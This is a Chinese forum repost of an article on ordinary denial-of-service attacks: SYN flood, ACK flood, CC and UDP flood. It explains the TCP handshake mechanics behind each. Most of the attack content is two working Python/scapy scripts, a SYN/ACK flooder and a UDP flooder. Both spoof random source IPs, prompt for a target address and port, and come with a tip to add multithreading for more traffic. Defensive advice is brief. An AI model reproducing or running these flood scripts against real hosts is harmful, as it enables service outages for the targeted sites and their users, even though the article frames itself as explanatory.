设为首页收藏本站

安而遇随-随遇而安

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 16263|回复: 0

浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

[复制链接]

 成长值: 30900

发表于 2018-1-15 00:41 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
iStock_27577732_LARGE.jpg

普通拒绝服务攻击是指一些传统的攻击方式,如:SYN FLOOD攻击、ACK FLOOD攻击、CC攻击、UDP  FLOOD攻击 等等,下面会详细介绍。


SYN FLOOD攻击

Syn flood攻击是利用TCP协议的一些特性发动的,通过发送大量 伪造的带有syn标志位的TCP报文 使 目标服务器连接耗尽,达到拒绝服务的目的。要想理解 syn flood的 攻击原理 必须要先了解TCP协议建立连接的机制。TCP(Transmission Control Protocol  传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层 通信协议。在TCP/IP协议簇中,TCP层是位于IP层之上,应用层之下的中间层。不同 的主机的应用层之间通信,通 常需要可靠的、像管道一样的连接,但是IP层(网络层)不提供这样的可靠字节 流机制,而是提供不可靠的数据包交换。因为TCP是可靠的传输方式,所以 在通信之前需要建立连接,TCP建立连接的方式就是著名的TCP三次握手。
如图:
14866316654526.png



syn flood攻击就是在三次握手机制的基础上实现的。攻击者通过伪造IP 报文,在IP报文的原地址字段随机填入伪造的IP地址,目的地址填入 要攻击的服务器IP地址,其他TTL、ID 以及TCP中的Source Port等随机填入合理数据,TCP的目的端口填入目的服务器开放的 端口 如:80、8080等,syn标志位置 1。然后通过不停的循环讲伪造好的数据包发送 到目的服务器。
如图:
14866317261042.png

14866317427293.png


可以看到目标主机建立了很多虚假的半开连接,这耗费了目标主机大量的 连接资源。可以想象如果成千上万台“肉鸡 ”对一台服务器发动syn flood攻击威力将是非常强大


ACK FLOOD攻击

ack flood攻击同样是利用TCP三次握手的缺陷实现的攻击, ack flood攻击利用的是三次握手的第二段,也就是TCP标志位syn和ack都置1,攻击主机伪造海量的 虚假ack包发送给目标主机,目标主机每收到一个带有 ack标志位的数据包时,都会去自己的TCP连接表中查看有没有与ack的发送者建立连接 ,如果有则发送三次握手的第三段ack+seq完成三次握手,成功 建立TCP连接。如果没有则发送ack+rst 断开连接。但是在这个过程中会消耗一定的CUP计算资源,如果瞬间 收到海量的syn+ack数据包将会 消耗大量的cpu资源使得正常的连接无法建立或者增加延迟,甚至造成服务器瘫痪、死机。如图:
14866318808914.png



攻击开始前:

14866318976815.png


攻击开始后:
14866319272571.png


理论上目标主机的TCP连接越多ack攻击效果越好,所以如果syn flood与ack flood配合使用效果会更明显。

实现代码如下(我是用scapy写的,单线程速度并不快,想要更大流量自行增加多线程):
  1. #-*- coding: UTF-8 -*-
  2. import socket
  3. import struct
  4. from scapy.all import *
  5. from scapy import all
  6. import random
  7. print"SYN/ACK FLOOD"

  8. mode=input("SYN or ACK (0 or 1):")
  9. if mode==0:
  10.         flag=2
  11. elif mode==1:
  12.         flag=18
  13. else :
  14.         print"BUG "dip=raw_input(str("输入目的地址:"))
  15. dp=input("目的端口: ")
  16. sip1=raw_input(str("源地址(随机请输入 R ):"))
  17. sp1=raw_input(str("源端口(随机请输入 R): "))
  18. while 1:
  19.         if sip1=="R":
  20.                 iprandom=random.randint(0,4000000000)
  21.                 sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
  22.                 if sp1=="R":
  23.                         sp=random.randint(1,65535)
  24.                 else:
  25.                          sp=sp1
  26.         else:
  27.                 sip=sip1
  28.                 if sp1=="R":
  29.                         sp=random.randint(1,65535)
  30.                  else:
  31.                          sp=sp1
  32.         t=random.randint(64,128)
  33.         pack=(IP(src=sip,dst=dip,ttl=t)/TCP(sport=sp,dport=dp,flags=flag))

  34.         send(pack)
复制代码


CC攻击

CC攻击全称Challenge Collapsar,中文意思是挑战黑洞,因为以前的抗DDOS攻击的 安全设备叫黑洞,顾名思义挑战黑洞就是说黑洞 拿这种攻击没办法,新一代的抗DDOS设备已经改名为ADS(  Anti-DDoS System),基本上已经可以完美的抵御CC攻击了 。

CC攻击的原理是通过代理服务器或者大量“肉鸡” 模拟多个用户访问目标网站的动态页面,制造 大量的后台数据库查询动作,消耗目标CPU资源,造成拒绝服务。

我们都知道网站的页面有静态和动态之分,动态网页是需要与后台数据库进行交互的,比如一些论坛, 用户登录的时候需要去数据库查询你的等级、权限 等等,当你留言的时候又需要查询权限、同步数据等等,这就消耗很多  cpu资源,造成静态网页能打开,但是需要和数据库交互的动态网页打开慢或者无法打开的现象。

这种攻击方式相对于前两种实现要相对复杂一些,但是防御起来要简单的多,提供服务 的企业只要尽量少用动态网页并且让一些操作提供验证码就能很好的抵御一般的 CC攻击。所以在这我就不在演示CC攻击的效果了。
14866322895449.png



UDP FLOOD攻击

UDP FLOOD攻击顾名思义是利用UDP协议进行攻击的,UDP FLOOD攻击可以是小数据包冲击设备也可以是大数据包 阻塞链路占尽带宽。不过 两种方式的实现很相似,差别就在UDP的数据部分带有多少数据。相比TCP协议的攻击UDP的攻击更直接更好理解,有一定规模之后更难防御,因为UDP攻击的特点就是打出很高的流量,一个中小型的网站出口带宽可能不足1 G,如果遇到10G左右的UDP FLOOD攻击,单凭企业自身是无论如何也防御不住的,必须需要运营商帮你在上游清洗 流量才行,如果遇到100G的流量可能地方的运营商都 没有能力清洗了,需要把流量分散到全国清洗。UDP FLOOD攻击就像是一块大石头,看着普普 通通的好像跟现代机枪 炸弹不是一个等级的武器,但是如果石头足够大 ,就不一样了。想想恐龙是怎么灭绝的, 陨石不也是块普通的石头吗!在DDOS 防御领域有一句话:能防住的都是简单的攻击,但简单的攻击 不一定防得住。UDP FLOOD正是这种简单有效的攻击方式。

大包攻击:
14866323686328.png


小包攻击:
14866323911652.png


下面的代码也是单线程,速度不太快,下一篇文章讲反射DDOS的时候会有多线程的用法。
  1. UDPFLOOD.py

  2. #-*- coding: UTF-8 -*-
  3. import socket
  4. from scapy.all import *
  5. from scapy import all
  6. print "这是一个UDP FLOOD攻击器,源端口源IP随机"
  7. dip=raw_input("输入要攻击的地址:")
  8. dp=input("输入要攻击的端口:")
  9. f=open('./load','r')
  10. while 1:
  11.         size=random.randint(1,2)
  12.         data=f.read(size)
  13.         iprandom=random.randint(0,4000000000)
  14.         sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
  15.         sp=random.randint(1000,65535)
  16.         t=random.randint(50,120)
  17.         packet=(IP(src=sip,dst=dip,ttl=t)/UDP(sport=sp,dport=dp)/Raw(load=data))
  18.         send(packet)
复制代码


*本文作者:黑戈爾,转载自FreeBuf.COM



去年大神刚发这文章的时候就准备转载的,因为懒癌+拖延症+记性不好=忘记了
今天就把大神这个系列的文章都给转载了!
随遇而安
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表